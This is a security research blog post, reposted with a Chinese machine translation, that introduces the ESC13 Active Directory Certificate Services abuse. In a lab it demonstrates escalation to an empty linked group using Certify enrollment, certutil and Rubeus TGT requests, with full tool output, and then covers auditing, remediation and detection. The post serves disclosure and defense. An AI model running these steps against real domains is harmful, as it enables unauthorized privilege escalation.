It is possible to configure an Active Directory Certificate Services (ADCS) certificate template with an issuance policy having an OID group link to a given AD group. This configuration makes AD treat principals authenticating with a certificate of this template as members of the group, even though the principals are not actual members. Hence, principal with enrollment rights on such a certificate template has the possibility of escalating their privileges with the permissions granted to the group.
可以使用具有指向给定 AD 组的 OID 组链接的颁发策略配置 Active Directory 证书服务 （ADCS） 证书模板。此配置使 AD 将使用此模板的证书进行身份验证的主体视为组的成员，即使这些主体不是实际成员也是如此。因此，对此类证书模板具有注册权限的主体可以使用授予组的权限来提升其权限。
We will in this blog post explore how this ADCS feature works, how we can abuse it, where it is used in the wild, how we can audit for its presence, and how to deal with it from a defensive perspective.
在这篇博文中，我们将探讨这个ADCS功能是如何工作的，我们如何滥用它，它在野外的什么地方使用，我们如何审计它的存在，以及如何从防御的角度处理它。
The Certified Pre-Owned whitepaper by
认证二手白皮书 作者
and 和
laid the groundwork for understanding ADCS domain escalations, categorizing techniques as ESC1-ESC8. This framework evolved with
为理解ADCS域升级奠定了基础，将技术分类为ESC1-ESC8。这个框架随着
’s ESC9 and ESC10 contributions, followed by Sylvain Heiniger’s ESC11 and Hans-Joachim Knobloch’s ESC12. Now, this blog post introduces ESC13, furthering the mission to highlight ADCS abuse potentials. Full credit for discovering this technique goes to Adam Burford, who brought the possibility of abuse to the attention of
的 ESC9 和 ESC10 贡献，其次是 Sylvain Heiniger 的 ESC11 和 Hans-Joachim Knobloch 的 ESC12。现在，这篇博文介绍了 ESC13，进一步突出了 ADCS 滥用潜力的使命。发现这种技术的全部功劳要归功于亚当·伯福德（Adam Burford），他引起了人们的注意
and myself. 还有我自己。
If you are new to ADCS abuse techniques or need a recap of how ADCS works, I recommend reading through the Background section of the Certified Pre-Owned whitepaper.
如果您不熟悉 ADCS 滥用技术或需要回顾 ADCS 的工作原理，我建议您通读认证二手白皮书的背景部分。
How Does ESC13 Work ESC13 是如何工作的
Let’s jump into what an issuance policy and an OID group link are, and how we can abuse those for a domain escalation.
让我们深入了解什么是发行策略和 OID 组链接，以及我们如何滥用它们进行域升级。
What’s an Issuance Policy
什么是发行策略
It is possible to configure a certificate template to have issuance policies as certificate extensions:
可以将证书模板配置为将颁发策略作为证书扩展：
The certificate template stores the issuance policies as object identifiers (OIDs) in its msPKI-Certificate-Policy attribute:
证书模板将颁发策略作为对象标识符 （OID） 存储在其 msPKI-Certificate-Policy 属性中：
PS C:\> Get-ADObject "CN=MyTemplate,$TemplateContainer" -Properties msPKI-Certificate-Policy
DistinguishedName : CN=MyTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=dumpster,DC=fire
msPKI-Certificate-Policy : {0.4.0.1862.1.4, 1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.14350251.6856375, 1.3.6.1.4.1.311.21.31}
Name : MyTemplate
ObjectClass : pKICertificateTemplate
ObjectGUID : d8afc3b5-d46e-4b07-bde3-525e51cccd6b
When a CA issues a certificate, it will include the issuance policy OIDs in the certificate’s Certificate Policies (2.5.29.32) property:
当 CA 颁发证书时，它将在证书的证书策略 （2.5.29.32） 属性中包含颁发策略 OID：
PS C:\> certutil -Dump .\mycert.pem
X509 Certificate:
Version: 3
...
Certificate Extensions: 10
...
2.5.29.32: Flags = 0, Length = 43
Certificate Policies
[1]Certificate Policy:
Policy Identifier=0.4.0.1862.1.4
[2]Certificate Policy:
Policy Identifier=1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.14350251.6856375
[3]Certificate Policy:
Policy Identifier=1.3.6.1.4.1.311.21.31
...
certutil will attempt to look up and show the display names of the issuance policies, so you may see the display names instead:
certutil 将尝试查找并显示颁发策略的显示名称，因此您可能会看到显示名称：
PS C:\> certutil -Dump .\mycert.pem
X509 Certificate:
Version: 3
...
Certificate Extensions: 10
...
2.5.29.32: Flags = 0, Length = 43
Certificate Policies
[1]Certificate Policy:
Policy Identifier=Secure Signature Creation Device Qualified Certificate
[2]Certificate Policy:
Policy Identifier=MyIssuancePolicy
[3]Certificate Policy:
Policy Identifier=Endorsement Key Certificate Verified
...
The issuance policies are AD objects of the class msPKI-Enterprise-Oid located in the PKI OID container, and it is here you can find the display names:
颁发策略是位于 PKI OID 容器中的类 msPKI-Enterprise-Oid 的 AD 对象，您可以在此处找到显示名称：
PS C:\> Get-ADObject -Filter * -SearchBase $OIDContainer -Properties DisplayName,msPKI-Cert-Template-OID
...
DisplayName : Low Assurance
DistinguishedName : CN=400.1C3418CDEC5F144B867AB87CECD684B2,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=dumpster,DC=fire
msPKI-Cert-Template-OID : 1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.1.400
Name : 400.1C3418CDEC5F144B867AB87CECD684B2
ObjectClass : msPKI-Enterprise-Oid
ObjectGUID : b378917c-9687-4bad-9da2-bde53159e337
DisplayName : Medium Assurance
DistinguishedName : CN=401.EDD449C54F4DC0B1EDD89320E4B5D353,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=dumpster,DC=fire
msPKI-Cert-Template-OID : 1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.1.401
Name : 401.EDD449C54F4DC0B1EDD89320E4B5D353
ObjectClass : msPKI-Enterprise-Oid
ObjectGUID : 6e146426-a64d-402d-9f25-83d3a6fd2492
DisplayName : High Assurance
DistinguishedName : CN=402.1BC1CD66F67C8135F9617DAB96A5C2E8,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=dumpster,DC=fire
msPKI-Cert-Template-OID : 1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.1.402
Name : 402.1BC1CD66F67C8135F9617DAB96A5C2E8
ObjectClass : msPKI-Enterprise-Oid
ObjectGUID : 3fe83888-07d6-48f1-a308-9efd254cde20
...
Organizations can use issuance policies to apply policies where they use certificates, given that the system supports it. A system may require a user to present a certificate with a given issuance policy to ensure that the system only grants access to the right authorized users. For example, you can set an enrollment requirement in a certificate template for the enrollee to sign with a certificate that has a given issuance policy:
如果系统支持证书，组织可以使用颁发策略在使用证书的地方应用策略。系统可能要求用户提供具有给定颁发策略的证书，以确保系统仅向正确的授权用户授予访问权限。例如，可以在证书模板中设置注册要求，以便登记者使用具有给定颁发策略的证书进行签名：
The certificate template stores the required issuance policies in the msPKI-RA-Policies attribute.
证书模板将所需的颁发策略存储在 msPKI-RA-Policies 属性中。
What’s an OID Group Link
什么是 OID 组链接
The AD class of issuance policies (msPKI-Enterprise-Oid) has an attribute called msDS-OIDToGroupLink. This attribute has the description:
颁发策略的 AD 类 （ msPKI-Enterprise-Oid ） 具有一个名为 msDS-OIDToGroupLink 的属性。此属性具有以下说明：
For an OID, identifies the group object that corresponds to the issuance policy represented by this OID.
对于 OID，标识与此 OID 表示的颁发策略相对应的组对象。
What Microsoft is trying the explain here is that you can use the attribute to link an issuance policy to an AD group, such that systems will authorize users as members of the given group, if they present a certificate with the given issuance policy. If you perform client authentication with the certificate, then you will receive an access token specifying the membership of this group.
Microsoft 在此处尝试解释的是，您可以使用该属性将颁发策略链接到 AD 组，以便系统将授权用户作为给定组的成员，如果他们提供具有给定颁发策略的证书。如果使用证书执行客户端身份验证，则将收到指定此组成员身份的访问令牌。
The group’s distinguished name identifies the group in the attribute:
组的可分辨名称在属性中标识组：
PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C6,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
DisplayName : MyIssuancePolicy
DistinguishedName : CN=12319448.2C2B96A74878E00434BEDD82A61861C6,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=dumpster,DC=fire
msDS-OIDToGroupLink : CN=MyUniversalGroup,OU=Groups,DC=dumpster,DC=fire
msPKI-Cert-Template-OID : 1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.14350251.6856375
Name : 12319448.2C2B96A74878E00434BEDD82A61861C6
ObjectClass : msPKI-Enterprise-Oid
ObjectGUID : 69e4424d-a33c-460f-8677-e0ef40c17d3a
The group must meet the following requirements:
该组必须满足以下要求：
- The group must be empty
该组必须为空 - The group must have universal group scope
该组必须具有通用组作用域
Universal group scope means the group is forest-wide. AD has by default the following universal groups:
通用组作用域意味着该组是林范围的。默认情况下，AD 具有以下通用组：
- Enterprise Read-only Domain Controllers
企业只读域控制器 - Enterprise Key Admins 企业密钥管理员
- Enterprise Admins 企业管理员
- Schema Admins 架构管理员
AD will check the group requirements when you attempt to set the msDS-OIDToGroupLink attribute, but also if you attempt to add members to the group afterward:
当您尝试设置 msDS-OIDToGroupLink 属性时，AD 将检查组要求，但如果您之后尝试向组添加成员，AD 也会检查：
ESC13 Abuse ESC13 滥用
If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.
如果主体（用户或计算机）对配置了具有 OID 组链接的颁发策略的证书模板具有注册权限，则此主体可以注册一个证书，该证书允许作为 OID 组链接中指定的组的成员获取对环境的访问权限。
We can model the required relationships for ESC13 like this:
我们可以像这样对 ESC13 所需的关系进行建模：
If the certificate template has any issuance requirements that the principal cannot meet, then the principal cannot enroll the certificate. Additionally, if the certificate template does not have an EKU configuration that allows for client authentication, then the principal cannot authenticate with the certificate. That brings us to the following ESC13 requirements, with the ESC13-specific requirements highlighted in bold font:
如果证书模板具有委托人无法满足的任何颁发要求，则委托人无法注册证书。此外，如果证书模板没有允许客户端身份验证的 EKU 配置，则主体无法使用证书进行身份验证。这就引出了以下 ESC13 要求，其中特定于 ESC13 的要求以粗体突出显示：
- The principal has enrollment rights on a certificate template.
主体对证书模板具有注册权限。 - The certificate template has an issuance policy extension.
证书模板具有颁发策略扩展。 - The issuance policy has an OID group link to a group.
颁发策略具有指向组的 OID 组链接。 - The certificate template has no issuance requirements the principal cannot meet.
证书模板没有主体无法满足的颁发要求。 - The certificate template defines EKUs that enable client authentication.
证书模板定义启用客户端身份验证的 EKU。
Furthermore, we assume that the principal has Enroll permission on an Enterprise CA, that meets the following requirements:
此外，我们假设委托人对满足以下要求的企业 CA 具有注册权限：
- The Enterprise CA is trusted for NT authentication.
企业 CA 受信任，可用于 NT 身份验证。 - The Enterprise CA’s certificate chain is trusted.
企业 CA 的证书链是受信任的。 - The Enterprise CA has the certificate template published.
企业 CA 已发布证书模板。
For details about the above requirements check out the Certified Pre-Owned whitepaper or the ADCS Attack Paths in BloodHound — Part 1 blogpost.
有关上述要求的详细信息，请查看认证二手白皮书或 BloodHound 中的 ADCS 攻击路径 — 第 1 部分博客文章。
ESC13 Demo ESC13 演示
Lab Environment 实验室环境
We got a user named ESC13User with no group memberships (except Domain Users as the primary group):
我们得到了一个名为 ESC13User 的用户，该用户没有组成员身份（除了作为主要组的域用户）：
PS C:\> Get-ADUser ESC13User -Properties MemberOf
DistinguishedName : CN=ESC13User,OU=Users,OU=Tier1,DC=dumpster,DC=fire
Enabled : True
GivenName :
MemberOf : {}
Name : ESC13User
ObjectClass : user
ObjectGUID : e7248355-b77c-4110-bf91-20f843236898
SamAccountName : ESC13User
SID : S-1-5-21-2697957641-2271029196-387917394-2213
Surname :
UserPrincipalName : [email protected]
ESC13User has Enroll permission on a certificate template named ESC13Template:
ESC13用户对名为 ESC13Template 的证书模板具有注册权限：
PS C:\> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor
>> $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTER\ESC13User"}
ActiveDirectoryRights : ExtendedRight
InheritanceType : None
ObjectType : 0e10c968-78fb-11d2-90d4-00c04f79dc55
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : ObjectAceTypePresent
AccessControlType : Allow
IdentityReference : DUMPSTER\ESC13User
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
ESC13Template allows for authentication by having the Client Authentication EKU and it has no issuance requirements. The Enterprise CA, dumpster-DC01-CA, has the certificate template published. More importantly for ESC13, ESC13Template has an issuance policy named ESC13OID:
ESC13Template 允许通过具有客户端身份验证 EKU 进行身份验证，并且没有颁发要求。企业 CA dumpster-DC01-CA 已发布证书模板。更重要的是，对于 ESC13，ESC13Template 有一个名为 ESC13OID 的发布策略：
PS C:\> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy
DistinguishedName : CN=ESC13Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=dumpster,DC=fire
msPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}
Name : ESC13Template
ObjectClass : pKICertificateTemplate
ObjectGUID : b95c22b8-9edf-4d13-ad31-e4e93799a17f
ESC13OID has an OID group link to the group ESC13Group:
ESC13OID具有指向组 ESC13Group 的 OID 组链接：
PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
DisplayName : ESC13OID
DistinguishedName : CN=12319448.2C2B96A74878E00434BEDD82A61861C5,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=dumpster,DC=fire
msDS-OIDToGroupLink : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
msPKI-Cert-Template-OID : 1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448
Name : 12319448.2C2B96A74878E00434BEDD82A61861C5
ObjectClass : msPKI-Enterprise-Oid
ObjectGUID : 69e4424d-a33c-460f-8677-e0ef40c17d3a
ESC13Group is a universal empty group:
ESC13Group 是一个通用的空组：
PS C:\> Get-ADGroup ESC13Group -Properties Members
DistinguishedName : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
GroupCategory : Security
GroupScope : Universal
Members : {}
Name : ESC13Group
ObjectClass : group
ObjectGUID : 5fad01ee-9d5c-4877-907a-d9689afd3f5f
SamAccountName : ESC13Group
SID : S-1-5-21-2697957641-2271029196-387917394-2211
ESC13 Abuse ESC13 滥用
First, we request a certificate of the certificate template ESC13Template as user ESC13User, using Certify:
首先，我们使用 Certify 以用户 ESC13User 身份请求证书模板 ESC13Template 的证书：
PS C:\> .\Certify.exe request /ca:DC01\dumpster-DC01-CA /template:ESC13Template
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Current user context : DUMPSTER\esc13user
[*] No subject name specified, using current context as subject.
[*] Template : ESC13Template
[*] Subject : CN=ESC13User, OU=Users, OU=Tier1, DC=dumpster, DC=fire
[*] Certificate Authority : DC01\dumpster-DC01-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 285
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4n0own56zR8dqasNAf5jgxJeHlXrOwGW3RFm3CH/SF3YVl2/
0IIdf5Cy35a997aj4hnlElGKQ0WZrTXnH6eQPQhw/hdBzkW0PJ6pLMT+rOJhVkjA
iCGWWYJLMIz9WtI+TWMl0PPZmb/ulNRdcbIBwbmuCfe6s6yU4e9mTGkTnvqF5...
bDr8ltUWSpgAHCrREVqnPpzKqF8Q3tohq4kuRZum7ruTs2ojPtvqXA==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGADCCBOigAwIBAgITewAAAR2RZBfi26Yo4gAAAAABHTANBgkqhkiG9w0BAQsF
ADBLMRQwEgYKCZImiZPyLGQBGRYEZmlyZTEYMBYGCgmSJomT8ixkARkWCGR1bXBz
dGVyMRkwFwYDVQQDExBkdW1wc3Rlci1EQzAxLUNBMB4XDTI0MDEzMDE1MTkwM...
5Zh5uw==
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:03.7068614
We save the private key as esc13.key and the certificate as esc13.pem, and then create the esc13.pfx version of the certificate using the built-in Windows tool certutil:
我们将私钥保存为 ，将证书另存为 esc13.key esc13.pem ，然后使用内置的 Windows 工具 certutil 创建证书 esc13.pfx 的版本：
PS C:\> certutil -MergePFX .\esc13.pem .\esc13.pfx
Signature test passed
Enter new password for output file .\esc13.pfx:
Enter new password:
Confirm new password:
CertUtil: -MergePFX command completed successfully.
We confirm the Client Authentication EKU and the ESC13OID issuance policy in the certificate:
我们在证书中确认客户端身份验证 EKU 和ESC13OID颁发策略：
PS C:\> certutil -Dump -v .\esc13.pfx
X509 Certificate:
Version: 3
...
Certificate Extensions: 10
...
2.5.29.37: Flags = 0, Length = c
Enhanced Key Usage
Client Authentication (1.3.6.1.5.5.7.3.2)
...
2.5.29.32: Flags = 0, Length = 2c
Certificate Policies
[1]Certificate Policy:
Policy Identifier=ESC13OID
...
The Client Authentication EKU allows us to authenticate using the certificate. We request a Kerberos TGT using Rubeus:
客户端身份验证 EKU 允许我们使用证书进行身份验证。我们使用 Rubeus 请求 Kerberos TGT：
PS C:\> .\Rubeus.exe asktgt /user:ESC13User /certificate:C:\esc13.pfx /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=ESC13User, OU=Users, OU=Tier1, DC=dumpster, DC=fire
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dumpster.fire\ESC13User'
[*] Using domain controller: 192.168.100.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGQjCCBj6gAwIBBaEDAgEWooIFUzCCBU9hggVLMIIFR6ADAgEFoQ8bDURVTVBTVEVSLkZJUkWiIjAgoAMCAQKhGTAXGwZ...
ServiceName : krbtgt/dumpster.fire
ServiceRealm : DUMPSTER.FIRE
UserName : ESC13User
UserRealm : DUMPSTER.FIRE
StartTime : 1/30/2024 7:50:16 AM
EndTime : 1/30/2024 5:50:16 PM
RenewTill : 2/6/2024 7:50:16 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Zb0JoVPgp/WIkpsN205xww==
ASREP (key) : 5F59FD4CB5C29AB6DAB528F356DD94A2
This TGT grants access as ESC13User was a member of the ESC13Group. We can prove that by decrypting the TGT using the Kerberos key of krbtgt and show that the RID (last digits of the SID) of the ESC13Group is present in the Groups field of the TGT PAC:
此 TGT 授予访问权限，因为 ESC13User 是 ESC13Group 的成员。我们可以通过使用 krbtgt 的 Kerberos 密钥解密 TGT 来证明这一点，并显示 ESC13Group 的 RID（SID 的最后一位数字）存在于 TGT PAC 的 Groups 字段中：
PS C:\tools> .\rubeus\Rubeus.exe describe /servicekey:f43bdb66f4dfb9... /ticket:doIGQjCCBj6gAwIBBaEDAgEWooIFUzCCBU9hggVLMIIFR6ADAgEFoQ8bDURVTVBTVEVSLkZJUkWiIjAgoAMCAQKhGTAXGwZ...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Describe Ticket
ServiceName : krbtgt/dumpster.fire
ServiceRealm : DUMPSTER.FIRE
UserName : ESC13User
UserRealm : DUMPSTER.FIRE
StartTime : 1/30/2024 7:50:16 AM
EndTime : 1/30/2024 5:50:16 PM
RenewTill : 2/6/2024 7:50:16 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Zb0JoVPgp/WIkpsN205xww==
Decrypted PAC :
LogonInfo :
LogonTime : 1/30/2024 7:44:25 AM
LogoffTime :
KickOffTime :
PasswordLastSet : 1/30/2024 7:04:54 AM
PasswordCanChange : 1/31/2024 7:04:54 AM
PasswordMustChange :
EffectiveName : ESC13User
FullName : ESC13User
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 6
BadPasswordCount : 0
UserId : 2213
PrimaryGroupId : 513
GroupCount : 2
Groups : 513,2211
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : DC01
LogonDomainName : DUMPSTER
LogonDomainId : S-1-5-21-2697957641-2271029196-387917394
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData : *** NO KEY ***
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : BE489797C40E33DB70741233 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : AD173A5C32EDADEDE903DECF (VALID)
ClientName :
Client Id : 1/30/2024 7:50:16 AM
Client Name : ESC13User
UpnDns :
DNS Domain Name : DUMPSTER.FIRE
UPN : [email protected]
Flags : (2) EXTENDED
SamName : ESC13User
Sid : S-1-5-21-2697957641-2271029196-387917394-2213
Attributes :
AttributeLength : 2
AttributeFlags : (1) PAC_WAS_REQUESTED
Requestor :
RequestorSID : S-1-5-21-2697957641-2271029196-387917394-2213
The 2211 RID matches the RID of the ESC13Group, which still has no members:
2211 RID 与 ESC13Group 的 RID 匹配，ESC13Group 仍然没有成员：
PS C:\> Get-ADGroup ESC13Group -Properties Members
DistinguishedName : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
GroupCategory : Security
GroupScope : Universal
Members : {}
Name : ESC13Group
ObjectClass : group
ObjectGUID : 5fad01ee-9d5c-4877-907a-d9689afd3f5f
SamAccountName : ESC13Group
SID : S-1-5-21-2697957641-2271029196-387917394-2211
Now we can use this TGT to request Kerberos service tickets and abuse any permission the ESC13Group has been granted in the environment, despite not being a member of the group.
现在，我们可以使用此 TGT 来请求 Kerberos 服务票证，并滥用 ESC13Group 在环境中被授予的任何权限，尽管它不是该组的成员。
Where is This Madness Used in the Real World
这种疯狂在现实世界中用在哪里
The Microsoft Authentication Mechanism Assurance (AMA) concept uses this ADCS feature. The intention is to protect resources, by only granting permission to empty groups on the resources, and enforcing admins to use certificate-based authentication with specific certificates when they need to use those permissions.
Microsoft 身份验证机制保证 （AMA） 概念使用此 ADCS 功能。其目的是保护资源，方法是仅向资源上的空组授予权限，并在管理员需要使用这些权限时强制管理员对特定证书使用基于证书的身份验证。
You can read more about AMA in Microsoft’s documentation here or in this great guide by Uwe Gradenegger here.
您可以在 Microsoft 的文档中阅读有关 AMA 的更多信息 此处 或 Uwe Gradenegger 的这篇精彩指南 此处.
Audit 审计
You can use AMA and the ADCS feature to enhance the security of your environment, but it is crucial to ensure only the right principals can enroll in certificate templates linked to privileged groups.
可以使用 AMA 和 ADCS 功能来增强环境的安全性，但必须确保只有正确的主体才能在链接到特权组的证书模板中注册。
This PowerShell script here can help you audit an environment for potential ESC13 possibilities:
此处的此 PowerShell 脚本可帮助你审核环境中的潜在 ESC13 可能性：
Powershell/Check-ADCSESC13.ps1 at master · JonasBK/Powershell
Powershell/Check-ADCSESC13.ps1 在 master ·JonasBK/Powershell
Contribute to JonasBK/Powershell development by creating an account on GitHub.
通过在 GitHub 上创建帐户来为 JonasBK/Powershell 开发做出贡献。
github.com
The script identifies and reports the following:
该脚本识别并报告以下内容：
- OIDs with non-default ownership
具有非默认所有权的 OID - OIDs with non-default ACE
具有非默认 ACE 的 OID - OIDs linked to a group
链接到组的 OID - Certificate templates configured with OID linked to a group
配置了链接到组的 OID 的证书模板
An attacker with write access on a published certificate template and write access on an issuance policy object could manually create the OID group link to an empty universal group and then perform an ESC13 abuse. These rights are only granted to Domain Admins, Enterprise Admins, and SYSTEM by default. Write access on an issuance policy can be enough, if the issuance policy is already used in a published certificate template. The PowerShell script will therefore check for any non-default ACEs on issuance policy objects.
对已发布的证书模板具有写入访问权限和对颁发策略对象具有写入访问权限的攻击者可以手动创建指向空通用组的 OID 组链接，然后执行 ESC13 滥用。默认情况下，这些权限仅授予域管理员、企业管理员和 SYSTEM。如果已在已发布的证书模板中使用了颁发策略，则对颁发策略的写入访问权限就足够了。因此，PowerShell 脚本将检查颁发策略对象上的任何非默认 ACE。
Write access on a published certificate template allows for a domain escalation abuse technique on its own, described as ESC4 in the Certified Pre-Owned whitepaper. You can audit for ESC4 and many of the other ADCS abuse techniques using Certify by Will Schroeder and Lee Chagolla-Christensen, Certipy by Oliver Lyak, or Locksmith by Jake Hildreth.
对已发布的证书模板的写入访问权限本身允许域升级滥用技术，在认证二手白皮书中描述为 ESC4。您可以使用 Will Schroeder 和 Lee Chagolla-Christensen 的 Certify、Oliver Leyak 的 Certipy 或 Jake Hildreth 的 Locksmith 来审核 ESC4 和许多其他 ADCS 滥用技术。
Remediation 修复
Only Tier Zero principals should have the permissions to modify certificate templates and issuance policy objects. I recommend going through the certificate templates identified by the PowerShell script mentioned in the previous section and checking the enrollment rights. Any enrollment rights granted to principals that should not be able to obtain membership of the given group should be removed.
只有零层委托人才应有权修改证书模板和颁发策略对象。我建议浏览上一部分中提到的 PowerShell 脚本标识的证书模板，并检查注册权限。应删除授予不应能够获取给定组成员身份的主体的任何注册权限。
For certificate templates linked to highly privileged groups, you should limit enrollment rights to Tier Zero principals. Additionally, you should consider enabling Manger Approval such that a CA administrator or CA manager has to approve the request before the CA issue the certificate:
对于链接到高特权组的证书模板，应将注册权限限制为零层主体。此外，您还应考虑启用管理器审批，以便 CA 管理员或 CA 经理必须在 CA 颁发证书之前批准请求：
They see me enrollin’.. They hatin’.. (Detection)
他们看到我注册了’..他们讨厌’..（检测）
I recommend checking out the Detective Guidance section of the Certified Pre-Owned whitepaper and the sub-sections:
我建议查看认证二手车白皮书的“侦探指南”部分和子部分：
- Monitor User/Machine Certificate Enrollments — DETECT1
监视用户/计算机证书注册 – DETECT1 - Monitor Certificate Authentication Events — DETECT2
监控证书身份验证事件 — DETECT2
The sections outline how you can monitor certificate enrollment and authentication using certificate enrollment requests and Windows events.
这些部分概述了如何使用证书注册请求和 Windows 事件监视证书注册和身份验证。
There is no generic way to distinguish malicious enrollment requests and certificate authentication events from legitimate ones, to my knowledge. However, collecting this information ensures you have visibility into the environment and enables you to create a baseline for what is normal and alert on abnormal enrollment requests and certificate authentication events. This strategy is effective for ESC13 but also for other ADCS abuse techniques involving certificate enrollment and authentication.
据我所知，没有通用方法可以将恶意注册请求和证书身份验证事件与合法请求和证书身份验证事件区分开来。但是，收集此信息可确保您了解环境，并使您能够为正常情况创建基线，并在异常注册请求和证书身份验证事件时发出警报。此策略对 ESC13 有效，但对涉及证书注册和身份验证的其他 ADCS 滥用技术也有效。
Conclusion 结论
The ESC13 technique abuses an ADCS feature used in the Microsoft AMA concept where users obtain access as a member of a given AD group using a certificate. It may enhance security to use this feature, but only if the certificate templates involved have enrollment rights granted to the right principals that that the organization intend to treat as members of the given groups. If not, attackers may abuse this feature for domain escalation.
ESC13 技术滥用了 Microsoft AMA 概念中使用的 ADCS 功能，其中用户使用证书作为给定 AD 组的成员获取访问权限。使用此功能可以增强安全性，但前提是所涉及的证书模板具有向组织打算将其视为给定组成员的正确主体授予的注册权限。否则，攻击者可能会滥用此功能进行域升级。
原文始发于Jonas Bülow Knudsen：ADCS ESC13 Abuse Technique
相关文章
